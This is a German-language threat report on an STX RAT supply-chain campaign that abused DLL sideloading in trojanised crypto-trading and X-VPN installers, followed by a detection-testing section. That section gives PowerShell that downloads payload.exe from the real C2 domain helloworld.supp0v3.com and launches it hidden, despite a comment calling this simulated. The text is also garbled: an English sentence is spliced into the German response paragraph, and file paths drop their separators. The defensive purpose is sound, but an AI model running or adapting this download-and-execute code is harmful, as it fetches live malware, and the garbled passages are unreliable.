Von Krypto-Wallets zu einem VPN mit 100 Millionen Nutzern: Einblick in eine aktive STX RAT-Lieferkettenkampagne

Zusammenfassung

Forscher entdeckten eine aktive Lieferkettenkampagne, bei der ein Bedrohungsakteur DLL Sideloading mit einer bösartigen CRYPTBASE.dll missbrauchte, um den STX RAT Remote-Access-Trojaner über trojanisierte Installer von Kryptowährungshandel-Software und den X-VPN-Client zu verteilen. Der Betrieb stützte sich auf ein einziges Bitbucket-Repository, um die infizierten Pakete zu verteilen und rotierende Command-and-Control-Domänen unter dem supp0v3.com -Stamm zu verwenden. Durch das Zielen auf Nutzer von Finanztauschwerkzeugen und eines weit verbreiteten VPN-Diensts positionierten sich die Angreifer, um Anmeldedaten und andere sensible Daten in großem Umfang zu stehlen. Die Erkennungstools wurden aktualisiert, um die gemeinsame Sideloading-Methode und die standardmäßige Infrastruktur abzudecken.

Untersuchung

Analysten identifizierten 11 bösartige Pakete, die alle die gleiche CRYPTBASE.dll Sideloading-Kette nutzten, um STX RAT direkt in den Speicher zu laden. Die trojanisierten Installer wurden in einem Bitbucket-Repository namens amos-tradinggehostet, und Commit-Metadaten verknüpften die Aktivität mit dem Alias Leda Elacoate. Nach der öffentlichen Enthüllung wechselten die Betreiber die Infrastruktur von helloworld.supp0v3.com to welcome.supp0v3.com. YARA-Analyse bestätigte, dass STX RAT die endgültige Nutzlast in jeder untersuchten Probe war.

Minderung

X-VPN behob das Problem in Windows-Version 77.5.3, die striktes DLL-Laden aus Systemverzeichnissen erzwingt, DLL-Hash-Validierung beim Start durchführt und ladepolitik pro Prozess anwendet. Das Blockieren von supp0v3.com und dessen Subdomains an der Netzwerkgrenze kann den Command-and-Control-Verkehr unterbrechen. Organisationen sollten auch die Software-Download-Hygiene verstärken und Installationen auf geprüfte Anbieterquellen beschränken.

Antwort

Verteidiger sollten jegliche Prozesse überwachen, die aus einem nicht-systematischen Pfad laden, und nach Anzeichen von In-Memory STX RAT-Ausführung untersuchen. Die veröffentlichte STX RAT YARA-Regel sollte über EDR-Plattformen eingesetzt werden, und der ausgehende HTTPS-Verkehr zu CRYPTBASE.dll from a non-system path and investigate for signs of in-memory STX RAT execution. The published STX RAT YARA rule should be deployed across EDR platforms, and outbound HTTPS traffic to supp0v3.com sollte genau überwacht werden. Alle Endpunkte sollten auf die gepatchte X-VPN-Version aktualisiert oder die anfällige Software entfernt werden. Die Bedrohungsjagd sollte sich auch auf das Reflektieren von Code-Ladeverhalten fokussieren, das mit der mehrstufigen Entpackungskette der Malware in Verbindung steht.

Simulationsdurchführung

Voraussetzung: Die Telemetrie- & Basislinien-Preflight-Prüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Adversary-Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.

• Angriffserzählungen & Befehle:

  Ein Angreifer, der ein Konto mit niedrigen Benutzerrechten kompromittiert hat, verwendet einen PowerShell-Einzeiler, um eine bösartige Nutzlast vom C2-Server herunterzuladen helloworld.supp0v3.com. Dies nutzt T1071.001 (Web-Protokoll C2) und T1204.002 (Benutzer-Ausführung), während die Nutzlast selbst verschleiert ist (T1027, T1027.009) und als legitime ausführbare Datei getarnt wird (T1036.005/008). Die ausgehende Verbindung zur bösartigen Domain sollte vom Firewall-Protokoll erfasst und folglich die Sigma-Regel ausgelöst werden.

  # Lade bösartige Nutzlast von der Supp0v3 C2 Domain herunter
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # Führe die Nutzlast aus (simuliert – tatsächlich wird nur eine Dummy-Datei erstellt)
  Start-Process -FilePath $out -WindowStyle Hidden

• Regressionstest-Skript:

  # TC-20260609-A1B2C – Simuliere STX RAT C2-Verbindung zu helloworld.supp0v3.com
  try {
      # Schritt 1: Bereite Dummy-Nutzlast vor (vermeide die Ausführung von echter Malware)
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "Dies ist eine Dummy-Ausführbare Datei für Testzwecke." -Encoding ASCII
  
      # Schritt 2: Simuliere ausgehende HTTP-Anfrage an bösartige Domain
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # Schritt 3: "Führe" die Nutzlast aus (keine echte Ausführung aus Sicherheitsgründen)
      Write-Host "Simulierte Ausführung der Nutzlast bei $payloadPath"
  
      Write-Host "Simulation abgeschlossen – überprüfe SIEM für Alarm."
  }
  catch {
      Write-Error "Simulation fehlgeschlagen: $_"
  }

• Bereinigungsbefehle:

  # Entferne die Dummy-Nutzlast und alle verbleibenden Dateien
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "Nutzlast-Datei bereinigt."
  }
  else {
      Write-Host "Keine Nutzlast-Datei gefunden – nichts zu bereinigen."
  }